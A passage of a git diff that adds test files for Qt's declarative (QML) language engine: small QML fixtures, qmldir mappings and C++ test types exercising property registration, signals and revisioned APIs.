@@ -0,0 +1,2 @@
+import "subdir"
+SubTest { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml
new file mode 100644
index 00000000..289cd216
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Image { source: "pics/blue.png" }
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml
new file mode 100644
index 00000000..8dcb7be2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml
@@ -0,0 +1 @@
+UndeclaredInternal {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/noqmldir/Test.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/noqmldir/Test.qml
new file mode 100644
index 00000000..0b054d02
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/noqmldir/Test.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Rectangle { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/pics/blue.png b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/pics/blue.png
new file mode 100644
index 00000000..46f815f1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/pics/blue.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir
new file mode 100644
index 00000000..60150f83
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir
@@ -0,0 +1,5 @@
+Test Test.qml
+TestSubDir TestSubDir.qml
+TestLocal TestLocal.qml
+NamedLocal LocalInternal.qml
+internal LocalInternal LocalInternal.qml
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/SubTest.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/SubTest.qml
new file mode 100644
index 00000000..76d11dca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/SubTest.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Text {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/qmldir b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/qmldir
new file mode 100644
index 00000000..a54f7dfa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/qmldir
@@ -0,0 +1 @@
+SubTest SubTest.qml
diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
new file mode 100644
index 00000000..10b444cd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "testtypes.h"
+
+void registerTypes()
+{
+ qmlRegisterInterface<MyInterface>("MyInterface");
+ qmlRegisterType<MyQmlObject>("Test",1,0,"MyQmlObject");
+ qmlRegisterType<MyTypeObject>("Test",1,0,"MyTypeObject");
+ qmlRegisterType<MyContainer>("Test",1,0,"MyContainer");
+ qmlRegisterType<MyPropertyValueSource>("Test",1,0,"MyPropertyValueSource");
+ qmlRegisterType<MyDotPropertyObject>("Test",1,0,"MyDotPropertyObject");
+ qmlRegisterType<MyNamespace::MyNamespacedType>("Test",1,0,"MyNamespacedType");
+ qmlRegisterType<MyNamespace::MySecondNamespacedType>("Test",1,0,"MySecondNamespacedType");
+ qmlRegisterType<MyParserStatus>("Test",1,0,"MyParserStatus");
+ qmlRegisterType<MyGroupedObject>();
+ qmlRegisterType<MyRevisionedClass>("Test",1,0,"MyRevisionedClass");
+ qmlRegisterType<MyRevisionedClass,1>("Test",1,1,"MyRevisionedClass");
+ qmlRegisterType<MyRevisionedIllegalOverload>("Test",1,0,"MyRevisionedIllegalOverload");
+ qmlRegisterType<MyRevisionedLegalOverload>("Test",1,0,"MyRevisionedLegalOverload");
+
+ // Register the uncreatable base class
+ qmlRegisterRevision<MyRevisionedBaseClassRegistered,1>("Test",1,1);
+ // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+ qmlRegisterType<MyRevisionedSubclass>("Test",1,0,"MyRevisionedSubclass");
+ // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+ qmlRegisterType<MyRevisionedSubclass,1>("Test",1,1,"MyRevisionedSubclass");
+
+ // Only version 1.0, but its super class is registered in version 1.1 also
+ qmlRegisterType<MySubclass>("Test",1,0,"MySubclass");
+
+ qmlRegisterCustomType<MyCustomParserType>("Test", 1, 0, "MyCustomParserType", new MyCustomParserTypeParser);
+
+ qmlRegisterTypeNotAvailable("Test",1,0,"UnavailableType", "UnavailableType is unavailable for testing");
+}
+
+QVariant myCustomVariantTypeConverter(const QString &data)
+{
+ MyCustomVariantType rv;
+ rv.a = data.toInt();
+ return QVariant::fromValue(rv);
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
new file mode 100644
index 00000000..6f21e48c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
@@ -0,0 +1,807 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef TESTTYPES_H
+#define TESTTYPES_H
+
+#include <QtCore/qobject.h>
+#include <QtCore/qrect.h>
+#include <QtCore/qdatetime.h>
+#include <QtGui/qmatrix.h>
+#include <QtGui/qcolor.h>
+#include <QtGui/qvector3d.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeparserstatus.h>
+#include <QtDeclarative/qdeclarativepropertyvaluesource.h>
+#include <QtDeclarative/qdeclarativescriptstring.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+
+#include <private/qdeclarativecustomparser_p.h>
+
+QVariant myCustomVariantTypeConverter(const QString &data);
+
+class MyInterface
+{
+public:
+ MyInterface() : id(913) {}
+ int id;
+};
+
+QT_BEGIN_NAMESPACE
+Q_DECLARE_INTERFACE(MyInterface, "com.trolltech.Qt.Test.MyInterface");
+QT_END_NAMESPACE
+QML_DECLARE_INTERFACE(MyInterface);
+
+struct MyCustomVariantType
+{
+ MyCustomVariantType() : a(0) {}
+ int a;
+};
+Q_DECLARE_METATYPE(MyCustomVariantType);
+
+class MyAttachedObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue NOTIFY valueChanged)
+ Q_PROPERTY(int value2 READ value2 WRITE setValue2)
+public:
+ MyAttachedObject(QObject *parent) : QObject(parent), m_value(0), m_value2(0) {}
+
+ int value() const { return m_value; }
+ void setValue(int v) { if (m_value != v) { m_value = v; emit valueChanged(); } }
+
+ int value2() const { return m_value2; }
+ void setValue2(int v) { m_value2 = v; }
+
+signals:
+ void valueChanged();
+
+private:
+ int m_value;
+ int m_value2;
+};
+
+class MyQmlObject : public QObject, public MyInterface
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue FINAL)
+ Q_PROPERTY(QString readOnlyString READ readOnlyString)
+ Q_PROPERTY(bool enabled READ enabled WRITE setEnabled)
+ Q_PROPERTY(QRect rect READ rect WRITE setRect)
+ Q_PROPERTY(QMatrix matrix READ matrix WRITE setMatrix) //assumed to be unsupported by QML
+ Q_PROPERTY(MyInterface *interfaceProperty READ interface WRITE setInterface)
+ Q_PROPERTY(int onLiteralSignal READ onLiteralSignal WRITE setOnLiteralSignal)
+ Q_PROPERTY(MyCustomVariantType customType READ customType WRITE setCustomType)
+ Q_PROPERTY(MyQmlObject *qmlobjectProperty READ qmlobject WRITE setQmlobject)
+ Q_PROPERTY(int propertyWithNotify READ propertyWithNotify WRITE setPropertyWithNotify NOTIFY oddlyNamedNotifySignal)
+ Q_PROPERTY(int nonScriptable READ nonScriptable WRITE setNonScriptable SCRIPTABLE false)
+
+ Q_INTERFACES(MyInterface)
+public:
+ MyQmlObject() : m_value(-1), m_interface(0), m_qmlobject(0) { qRegisterMetaType<MyCustomVariantType>("MyCustomVariantType"); }
+
+ int value() const { return m_value; }
+ void setValue(int v) { m_value = v; }
+
+ QString readOnlyString() const { return QLatin1String(""); }
+
+ bool enabled() const { return false; }
+ void setEnabled(bool) {}
+
+ QRect rect() const { return QRect(); }
+ void setRect(const QRect&) {}
+
+ QMatrix matrix() const { return QMatrix(); }
+ void setMatrix(const QMatrix&) {}
+
+ MyInterface *interface() const { return m_interface; }
+ void setInterface(MyInterface *iface) { m_interface = iface; }
+
+ static MyAttachedObject *qmlAttachedProperties(QObject *other) {
+ return new MyAttachedObject(other);
+ }
+ Q_CLASSINFO("DefaultMethod", "basicSlot()")
+
+ int onLiteralSignal() const { return m_value; }
+ void setOnLiteralSignal(int v) { m_value = v; }
+
+ MyQmlObject *qmlobject() const { return m_qmlobject; }
+ void setQmlobject(MyQmlObject *o) { m_qmlobject = o; }
+
+ MyCustomVariantType customType() const { return m_custom; }
+ void setCustomType(const MyCustomVariantType &v) { m_custom = v; }
+
+ int propertyWithNotify() const { return m_propertyWithNotify; }
+ void setPropertyWithNotify(int i) { m_propertyWithNotify = i; emit oddlyNamedNotifySignal(); }
+
+ int nonScriptable() const { return 0; }
+ void setNonScriptable(int) {}
+public slots:
+ void basicSlot() { qWarning("MyQmlObject::basicSlot"); }
+ void basicSlotWithArgs(int v) { qWarning("MyQmlObject::basicSlotWithArgs(%d)", v); }
+
+signals:
+ void basicSignal();
+ void basicParameterizedSignal(int parameter);
+ void oddlyNamedNotifySignal();
+
+private:
+ friend class tst_qdeclarativelanguage;
+ int m_value;
+ MyInterface *m_interface;
+ MyQmlObject *m_qmlobject;
+ MyCustomVariantType m_custom;
+ int m_propertyWithNotify;
+};
+QML_DECLARE_TYPE(MyQmlObject)
+QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES)
+
+class MyGroupedObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript)
+ Q_PROPERTY(int value READ value WRITE setValue)
+public:
+ QDeclarativeScriptString script() const { return m_script; }
+ void setScript(const QDeclarativeScriptString &s) { m_script = s; }
+
+ int value() const { return m_value; }
+ void setValue(int v) { m_value = v; }
+
+private:
+ int m_value;
+ QDeclarativeScriptString m_script;
+};
+
+
+class MyTypeObject : public QObject
+{
+ Q_OBJECT
+ Q_ENUMS(MyEnum)
+ Q_FLAGS(MyFlags)
+
+ Q_PROPERTY(QString id READ id WRITE setId)
+ Q_PROPERTY(QObject *objectProperty READ objectProperty WRITE setObjectProperty)
+ Q_PROPERTY(QDeclarativeComponent *componentProperty READ componentProperty WRITE setComponentProperty)
+ Q_PROPERTY(MyFlags flagProperty READ flagProperty WRITE setFlagProperty)
+ Q_PROPERTY(MyEnum enumProperty READ enumProperty WRITE setEnumProperty)
+ Q_PROPERTY(MyEnum readOnlyEnumProperty READ readOnlyEnumProperty)
+ Q_PROPERTY(QString stringProperty READ stringProperty WRITE setStringProperty)
+ Q_PROPERTY(uint uintProperty READ uintProperty WRITE setUintProperty)
+ Q_PROPERTY(int intProperty READ intProperty WRITE setIntProperty)
+ Q_PROPERTY(qreal realProperty READ realProperty WRITE setRealProperty)
+ Q_PROPERTY(double doubleProperty READ doubleProperty WRITE setDoubleProperty)
+ Q_PROPERTY(float floatProperty READ floatProperty WRITE setFloatProperty)
+ Q_PROPERTY(QColor colorProperty READ colorProperty WRITE setColorProperty)
+ Q_PROPERTY(QDate dateProperty READ dateProperty WRITE setDateProperty)
+ Q_PROPERTY(QTime timeProperty READ timeProperty WRITE setTimeProperty)
+ Q_PROPERTY(QDateTime dateTimeProperty READ dateTimeProperty WRITE setDateTimeProperty)
+ Q_PROPERTY(QPoint pointProperty READ pointProperty WRITE setPointProperty)
+ Q_PROPERTY(QPointF pointFProperty READ pointFProperty WRITE setPointFProperty)
+ Q_PROPERTY(QSize sizeProperty READ sizeProperty WRITE setSizeProperty)
+ Q_PROPERTY(QSizeF sizeFProperty READ sizeFProperty WRITE setSizeFProperty)
+ Q_PROPERTY(QRect rectProperty READ rectProperty WRITE setRectProperty NOTIFY rectPropertyChanged)
+ Q_PROPERTY(QRect rectProperty2 READ rectProperty2 WRITE setRectProperty2)
+ Q_PROPERTY(QRectF rectFProperty READ rectFProperty WRITE setRectFProperty)
+ Q_PROPERTY(bool boolProperty READ boolProperty WRITE setBoolProperty)
+ Q_PROPERTY(QVariant variantProperty READ variantProperty WRITE setVariantProperty)
+ Q_PROPERTY(QVector3D vectorProperty READ vectorProperty WRITE setVectorProperty)
+ Q_PROPERTY(QUrl urlProperty READ urlProperty WRITE setUrlProperty)
+
+ Q_PROPERTY(QDeclarativeScriptString scriptProperty READ scriptProperty WRITE setScriptProperty)
+ Q_PROPERTY(MyGroupedObject *grouped READ grouped CONSTANT)
+ Q_PROPERTY(MyGroupedObject *nullGrouped READ nullGrouped CONSTANT)
+
+public:
+ MyTypeObject()
+ : objectPropertyValue(0), componentPropertyValue(0) {}
+
+ QString idValue;
+ QString id() const {
+ return idValue;
+ }
+ void setId(const QString &v) {
+ idValue = v;
+ }
+
+ QObject *objectPropertyValue;
+ QObject *objectProperty() const {
+ return objectPropertyValue;
+ }
+ void setObjectProperty(QObject *v) {
+ objectPropertyValue = v;
+ }
+
+ QDeclarativeComponent *componentPropertyValue;
+ QDeclarativeComponent *componentProperty() const {
+ return componentPropertyValue;
+ }
+ void setComponentProperty(QDeclarativeComponent *v) {
+ componentPropertyValue = v;
+ }
+
+ enum MyFlag { FlagVal1 = 0x01, FlagVal2 = 0x02, FlagVal3 = 0x04 };
+ Q_DECLARE_FLAGS(MyFlags, MyFlag)
+ MyFlags flagPropertyValue;
+ MyFlags flagProperty() const {
+ return flagPropertyValue;
+ }
+ void setFlagProperty(MyFlags v) {
+ flagPropertyValue = v;
+ }
+
+ enum MyEnum { EnumVal1, EnumVal2 };
+ MyEnum enumPropertyValue;
+ MyEnum enumProperty() const {
+ return enumPropertyValue;
+ }
+ void setEnumProperty(MyEnum v) {
+ enumPropertyValue = v;
+ }
+
+ MyEnum readOnlyEnumProperty() const {
+ return EnumVal1;
+ }
+
+ QString stringPropertyValue;
+ QString stringProperty() const {
+ return stringPropertyValue;
+ }
+ void setStringProperty(const QString &v) {
+ stringPropertyValue = v;
+ }
+
+ uint uintPropertyValue;
+ uint uintProperty() const {
+ return uintPropertyValue;
+ }
+ void setUintProperty(const uint &v) {
+ uintPropertyValue = v;
+ }
+
+ int intPropertyValue;
+ int intProperty() const {
+ return intPropertyValue;
+ }
+ void setIntProperty(const int &v) {
+ intPropertyValue = v;
+ }
+
+ qreal realPropertyValue;
+ qreal realProperty() const {
+ return realPropertyValue;
+ }
+ void setRealProperty(const qreal &v) {
+ realPropertyValue = v;
+ }
+
+ double doublePropertyValue;
+ double doubleProperty() const {
+ return doublePropertyValue;
+ }
+ void setDoubleProperty(const double &v) {
+ doublePropertyValue = v;
+ }
+
+ float floatPropertyValue;
+ float floatProperty() const {
+ return floatPropertyValue;
+ }
+ void setFloatProperty(const float &v) {
+ floatPropertyValue = v;
+ }
+
+ QColor colorPropertyValue;
+ QColor colorProperty() const {
+ return colorPropertyValue;
+ }
+ void setColorProperty(const QColor &v) {
+ colorPropertyValue = v;
+ }
+
+ QDate datePropertyValue;
+ QDate dateProperty() const {
+ return datePropertyValue;
+ }
+ void setDateProperty(const QDate &v) {
+ datePropertyValue = v;
+ }
+
+ QTime timePropertyValue;
+ QTime timeProperty() const {
+ return timePropertyValue;
+ }
+ void setTimeProperty(const QTime &v) {
+ timePropertyValue = v;
+ }
+
+ QDateTime dateTimePropertyValue;
+ QDateTime dateTimeProperty() const {
+ return dateTimePropertyValue;
+ }
+ void setDateTimeProperty(const QDateTime &v) {
+ dateTimePropertyValue = v;
+ }
+
+ QPoint pointPropertyValue;
+ QPoint pointProperty() const {
+ return pointPropertyValue;
+ }
+ void setPointProperty(const QPoint &v) {
+ pointPropertyValue = v;
+ }
+
+ QPointF pointFPropertyValue;
+ QPointF pointFProperty() const {
+ return pointFPropertyValue;
+ }
+ void setPointFProperty(const QPointF &v) {
+ pointFPropertyValue = v;
+ }
+
+ QSize sizePropertyValue;
+ QSize sizeProperty() const {
+ return sizePropertyValue;
+ }
+ void setSizeProperty(const QSize &v) {
+ sizePropertyValue = v;
+ }
+
+ QSizeF sizeFPropertyValue;
+ QSizeF sizeFProperty() const {
+ return sizeFPropertyValue;
+ }
+ void setSizeFProperty(const QSizeF &v) {
+ sizeFPropertyValue = v;
+ }
+
+ QRect rectPropertyValue;
+ QRect rectProperty() const {
+ return rectPropertyValue;
+ }
+ void setRectProperty(const QRect &v) {
+ rectPropertyValue = v;
+ emit rectPropertyChanged();
+ }
+
+ QRect rectPropertyValue2;
+ QRect rectProperty2() const {
+ return rectPropertyValue2;
+ }
+ void setRectProperty2(const QRect &v) {
+ rectPropertyValue2 = v;
+ }
+
+ QRectF rectFPropertyValue;
+ QRectF rectFProperty() const {
+ return rectFPropertyValue;
+ }
+ void setRectFProperty(const QRectF &v) {
+ rectFPropertyValue = v;
+ }
+
+ bool boolPropertyValue;
+ bool boolProperty() const {
+ return boolPropertyValue;
+ }
+ void setBoolProperty(const bool &v) {
+ boolPropertyValue = v;
+ }
+
+ QVariant variantPropertyValue;
+ QVariant variantProperty() const {
+ return variantPropertyValue;
+ }
+ void setVariantProperty(const QVariant &v) {
+ variantPropertyValue = v;
+ }
+
+ QVector3D vectorPropertyValue;
+ QVector3D vectorProperty() const {
+ return vectorPropertyValue;
+ }
+ void setVectorProperty(const QVector3D &v) {
+ vectorPropertyValue = v;
+ }
+
+ QUrl urlPropertyValue;
+ QUrl urlProperty() const {
+ return urlPropertyValue;
+ }
+ void setUrlProperty(const QUrl &v) {
+ urlPropertyValue = v;
+ }
+
+ QDeclarativeScriptString scriptPropertyValue;
+ QDeclarativeScriptString scriptProperty() const {
+ return scriptPropertyValue;
+ }
+ void setScriptProperty(const QDeclarativeScriptString &v) {
+ scriptPropertyValue = v;
+ }
+
+ MyGroupedObject groupedValue;
+ MyGroupedObject *grouped() { return &groupedValue; }
+
+ MyGroupedObject *nullGrouped() { return 0; }
+
+ void doAction() { emit action(); }
+signals:
+ void action();
+ void rectPropertyChanged();
+};
+Q_DECLARE_OPERATORS_FOR_FLAGS(MyTypeObject::MyFlags)
+
+
+class MyContainer : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<QObject> children READ children)
+ Q_PROPERTY(QDeclarativeListProperty<MyContainer> containerChildren READ containerChildren)
+ Q_PROPERTY(QDeclarativeListProperty<MyInterface> qlistInterfaces READ qlistInterfaces)
+ Q_CLASSINFO("DefaultProperty", "children")
+public:
+ MyContainer() {}
+
+ QDeclarativeListProperty<QObject> children() { return QDeclarativeListProperty<QObject>(this, m_children); }
+ QDeclarativeListProperty<MyContainer> containerChildren() { return QDeclarativeListProperty<MyContainer>(this, m_containerChildren); }
+ QList<QObject *> *getChildren() { return &m_children; }
+ QDeclarativeListProperty<MyInterface> qlistInterfaces() { return QDeclarativeListProperty<MyInterface>(this, m_interfaces); }
+ QList<MyInterface *> *getQListInterfaces() { return &m_interfaces; }
+
+ QList<MyContainer*> m_containerChildren;
+ QList<QObject*> m_children;
+ QList<MyInterface *> m_interfaces;
+};
+
+
+class MyPropertyValueSource : public QObject, public QDeclarativePropertyValueSource
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativePropertyValueSource)
+public:
+ MyPropertyValueSource()
+ : QDeclarativePropertyValueSource() {}
+
+ QDeclarativeProperty prop;
+ virtual void setTarget(const QDeclarativeProperty &p)
+ {
+ prop = p;
+ }
+};
+
+class UnavailableType : public QObject
+{
+ Q_OBJECT
+public:
+ UnavailableType() {}
+};
+
+class MyDotPropertyObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(MyQmlObject *obj READ obj)
+ Q_PROPERTY(MyQmlObject *readWriteObj READ readWriteObj WRITE setReadWriteObj)
+public:
+ MyDotPropertyObject() : m_rwobj(0), m_ownRWObj(false) {}
+ ~MyDotPropertyObject()
+ {
+ if (m_ownRWObj)
+ delete m_rwobj;
+ }
+
+ MyQmlObject *obj() { return 0; }
+
+ MyQmlObject *readWriteObj()
+ {
+ if (!m_rwobj) {
+ m_rwobj = new MyQmlObject;
+ m_ownRWObj = true;
+ }
+ return m_rwobj;
+ }
+
+ void setReadWriteObj(MyQmlObject *obj)
+ {
+ if (m_ownRWObj) {
+ delete m_rwobj;
+ m_ownRWObj = false;
+ }
+
+ m_rwobj = obj;
+ }
+
+private:
+ MyQmlObject *m_rwobj;
+ bool m_ownRWObj;
+};
+
+
+namespace MyNamespace {
+ class MyNamespacedType : public QObject
+ {
+ Q_OBJECT
+ };
+
+ class MySecondNamespacedType : public QObject
+ {
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<MyNamespace::MyNamespacedType> list READ list)
+ public:
+ QDeclarativeListProperty<MyNamespacedType> list() { return QDeclarativeListProperty<MyNamespacedType>(this, m_list); }
+
+ private:
+ QList<MyNamespacedType *> m_list;
+ };
+}
+
+class MyCustomParserType : public QObject
+{
+ Q_OBJECT
+};
+
+class MyCustomParserTypeParser : public QDeclarativeCustomParser
+{
+public:
+ QByteArray compile(const QList<QDeclarativeCustomParserProperty> &) { return QByteArray(); }
+ void setCustomData(QObject *, const QByteArray &) {}
+};
+
+class MyParserStatus : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+public:
+ MyParserStatus() : m_cbc(0), m_ccc(0) {}
+
+ int classBeginCount() const { return m_cbc; }
+ int componentCompleteCount() const { return m_ccc; }
+
+ virtual void classBegin() { m_cbc++; }
+ virtual void componentComplete() { m_ccc++; }
+private:
+ int m_cbc;
+ int m_ccc;
+};
+
+class MyRevisionedBaseClassRegistered : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged)
+ Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {}
+
+ qreal propA() const { return m_pa; }
+ void setPropA(qreal p) {
+ if (p != m_pa) {
+ m_pa = p;
+ emit propAChanged();
+ }
+ }
+ qreal propB() const { return m_pb; }
+ void setPropB(qreal p) {
+ if (p != m_pb) {
+ m_pb = p;
+ emit propBChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodA() { }
+ Q_INVOKABLE Q_REVISION(1) void methodB() { }
+
+signals:
+ void propAChanged();
+ void propBChanged();
+
+ void signalA();
+ Q_REVISION(1) void signalB();
+
+protected:
+ qreal m_pa;
+ qreal m_pb;
+};
+
+class MyRevisionedIllegalOverload : public MyRevisionedBaseClassRegistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propA READ propA WRITE setPropA REVISION 1);
+};
+
+class MyRevisionedLegalOverload : public MyRevisionedBaseClassRegistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propB READ propB WRITE setPropB REVISION 1);
+};
+
+class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged)
+ Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {}
+
+ qreal propC() const { return m_pc; }
+ void setPropC(qreal p) {
+ if (p != m_pc) {
+ m_pc = p;
+ emit propCChanged();
+ }
+ }
+ qreal propD() const { return m_pd; }
+ void setPropD(qreal p) {
+ if (p != m_pd) {
+ m_pd = p;
+ emit propDChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodC() { }
+ Q_INVOKABLE Q_REVISION(1) void methodD() { }
+
+signals:
+ void propCChanged();
+ void propDChanged();
+
+ void signalC();
+ Q_REVISION(1) void signalD();
+
+protected:
+ qreal m_pc;
+ qreal m_pd;
+};
+
+class MyRevisionedClass : public MyRevisionedBaseClassUnregistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed)
+ Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1)
+
+public:
+ MyRevisionedClass() : m_p1(1), m_p2(2) {}
+
+ qreal prop1() const { return m_p1; }
+ void setProp1(qreal p) {
+ if (p != m_p1) {
+ m_p1 = p;
+ emit prop1Changed();
+ }
+ }
+ qreal prop2() const { return m_p2; }
+ void setProp2(qreal p) {
+ if (p != m_p2) {
+ m_p2 = p;
+ emit prop2Changed();
+ }
+ }
+
+ Q_INVOKABLE void method1() { }
+ Q_INVOKABLE Q_REVISION(1) void method2() { }
+
+signals:
+ void prop1Changed();
+ void prop2Changed();
+
+ void signal1();
+ Q_REVISION(1) void signal2();
+
+protected:
+ qreal m_p1;
+ qreal m_p2;
+};
+
+class MyRevisionedSubclass : public MyRevisionedClass
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed)
+ Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1)
+
+public:
+ MyRevisionedSubclass() : m_p3(3), m_p4(4) {}
+
+ qreal prop3() const { return m_p3; }
+ void setProp3(qreal p) {
+ if (p != m_p3) {
+ m_p3 = p;
+ emit prop3Changed();
+ }
+ }
+ qreal prop4() const { return m_p4; }
+ void setProp4(qreal p) {
+ if (p != m_p4) {
+ m_p4 = p;
+ emit prop4Changed();
+ }
+ }
+
+ Q_INVOKABLE void method3() { }
+ Q_INVOKABLE Q_REVISION(1) void method4() { }
+
+signals:
+ void prop3Changed();
+ void prop4Changed();
+
+ void signal3();
+ Q_REVISION(1) void signal4();
+
+protected:
+ qreal m_p3;
+ qreal m_p4;
+};
+
+class MySubclass : public MyRevisionedClass
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop5 READ prop5 WRITE setProp5 NOTIFY prop5Changed)
+
+public:
+ MySubclass() : m_p5(5) {}
+
+ qreal prop5() const { return m_p5; }
+ void setProp5(qreal p) {
+ if (p != m_p5) {
+ m_p5 = p;
+ emit prop5Changed();
+ }
+ }
+
+ Q_INVOKABLE void method5() { }
+
+signals:
+ void prop5Changed();
+
+protected:
+ qreal m_p5;
+};
+
+QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered)
+QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered)
